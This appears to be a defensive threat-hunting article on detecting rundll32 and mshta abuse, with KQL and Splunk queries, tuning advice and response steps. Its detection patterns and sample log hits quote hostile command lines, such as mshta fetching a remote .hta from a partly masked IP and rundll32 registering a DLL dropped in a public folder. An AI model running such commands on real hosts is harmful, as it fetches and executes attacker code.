Skip to content
HackInvasionCybersecurity Knowledge Hub

Case File: Living Off the Land — Hunting rundll32 and mshta Abuse in Plain Sight

Dark illustration of a shattered digital screen displaying orange command-line code, entangled in red circuitry, symbolizing living-off-the-land binary abuse

The Incident Pattern

The most dangerous binaries on a Windows host are the ones Microsoft signed. rundll32.exe executes exported functions from any DLL you hand it. mshta.exe runs HTML Applications — full script engines — from local files or URLs. Attackers love them because they blend into baseline: rundll32 runs constantly in normal operations, and mshta looks like a legacy help viewer right up until it downloads a payload from the internet.

This hunt assumes the adversary is deliberately avoiding malware and asks: which invocations of these trusted binaries don't look like the operating system using them?

The Hypothesis

Hypothesis: If an actor is living off the land, we will find rundll32.exe or mshta.exe executions whose command lines deviate from known-good baselines — rundll32 loading DLLs from user-writable paths, calling suspicious exports (DllRegisterServer on a dropped DLL, javascript: URIs), or mshta executing remote .hta content — with parents like Office apps, browsers, or script interpreters instead of the OS.

Data You'll Need

SourceWhat we're after
Defender DeviceProcessEventsFull command lines and parent processes
Sysmon Event ID 1Process creation with command line + parent image
Sysmon Event ID 7 (ImageLoad)Which DLLs rundll32 actually loaded
Security Event 4688Process creation (with command-line logging enabled)

Command-line logging is non-negotiable here: without it, every rundll32 invocation looks identical and this hunt is dead on arrival.

Hunting with KQL

Microsoft Sentinel / Defender — anomalous rundll32 and mshta invocations:

DeviceProcessEvents
| where Timestamp > ago(7d)
| where FileName in ("rundll32.exe", "mshta.exe")
| where ProcessCommandLine has_any ("http", ".hta", "javascript:", "vbscript:", "AppData", "Temp", "ProgramData", "Users\\Public", "shell32.dll,Control_RunDLL")
   or (FileName == "rundll32.exe" and ProcessCommandLine has_any ("DllRegisterServer", "DllInstall", "#1", "advpack.dll"))
| where InitiatingProcessFileName !in ("explorer.exe", "svchost.exe", "rundll32.exe", "msiexec.exe", "setup.exe")
| project Timestamp, DeviceName, AccountName, FileName, ProcessCommandLine, InitiatingProcessFileName, InitiatingProcessCommandLine
| order by Timestamp desc

What this does: pulls every rundll32/mshta launch whose command line contains attacker-typical markers — URLs and .hta files (mshta fetching remote content), user-writable paths, script-scheme URIs, and rundll32's favorite malicious exports — while filtering out the OS's own legitimate parents. What remains is the interesting tail.

True-positive example: 2026-09-21 09:14:52 | WS-HR-007 | mshta.exe | mshta.exe http://185.220.x.x/update.hta | Parent: winword.exe (macro-enabled doc) — Word spawning mshta to fetch a remote HTA. The parent tells the story: this began as a malicious document.

Companion — rundll32 with no command line at all (hollowed/injected):

DeviceProcessEvents
| where Timestamp > ago(7d)
| where FileName == "rundll32.exe"
| where isempty(ProcessCommandLine) or ProcessCommandLine == "\"C:\\Windows\\System32\\rundll32.exe\""
| project Timestamp, DeviceName, InitiatingProcessFileName, InitiatingProcessCommandLine, AccountName

Hunting with Splunk

Sysmon-based LOLBin hunt with parent-chain context:

index=sysmon EventCode=1 (Image="*\\rundll32.exe" OR Image="*\\mshta.exe")
| search CommandLine IN ("*http*", "*.hta*", "*javascript:*", "*vbscript:*", "*\\Temp\\*", "*\\AppData\\*", "*DllRegisterServer*", "*#1*")
| search NOT ParentImage IN ("*\\explorer.exe", "*\\svchost.exe", "*\\msiexec.exe")
| stats count, values(CommandLine) as cmdlines, values(ParentImage) as parents by Computer, Image, User
| sort - count

What this does: the same suspicious-marker logic over Sysmon Event ID 1, enriched with parent images so the analyst can immediately see the launch chain.

Example hit: Computer=WS-HR-007 | Image=C:\Windows\System32\rundll32.exe | CommandLine=rundll32.exe C:\Users\Public\update.dll,DllRegisterServer | ParentImage=C:\Windows\System32\wscript.exe — a script interpreter registering a DLL dropped in a public folder. Living off the land, caught mid-lease.

Analyst walkthrough (click to expand)
  1. Run the query over 7 days; group by command-line pattern, not individual host, to spot campaigns.
  2. For each unique command line, check prevalence: one host = targeted, fifty hosts = software deployment (or worm).
  3. Resolve every referenced DLL/HTA path: does the file exist, is it signed, when was it written?
  4. Pivot on the parent — Office/script parents within minutes of email delivery timestamps suggest phishing.

Validating the Hit

  1. Baseline the command line. Compare against known-good invocations in your environment; attackers' rundll32 lines almost always reference non-standard DLL paths or exports.
  2. Check the file. Hash and sign the referenced DLL/HTA — unsigned, recently created, in a user-writable directory is a strong indicator.
  3. Follow the network. mshta with a URL means an HTTP fetch — check proxy logs for the request and what came back.
  4. Review the parent. A macro-enabled Office document or a script interpreter as parent converts "weird" into "malicious" fast.

Tuning Out False Positives

  • Software installers and updaters legitimately use rundll32 with DllRegisterServer — allowlist by signed installer and standard paths.
  • Control Panel applets launch via rundll32.exe shell32.dll,Control_RunDLL — common and benign; exclude the exact known-good pattern.
  • Legacy enterprise apps sometimes wrap mshta for help content — baseline the specific HTA paths your org actually uses.
  • Build an allowlist of (parent, command-line pattern) pairs rather than blocking the binaries outright — the OS needs them.

What to Do Next

  • Contain: isolate the host and kill the LOLBin process tree, including the parent (don't leave the malicious document's Word process running).
  • Collect: preserve the referenced DLL/HTA payload and the parent document — they're the forensic core of the intrusion.
  • Harden: constrain with WDAC/AppLocker policies on script interpreters and HTA execution; consider Attack Surface Reduction rules blocking Office child processes.
  • Detect durably: convert the tuned query into a scheduled rule, and add the observed command-line patterns to TI for fleet-wide retro-hunting.

Filed from the hunt floor: the binaries are innocent — it's the company they keep. A trusted tool with an untrusted parent and a URL in its pocket is not administration. It's tradecraft.


EmoticonEmoticon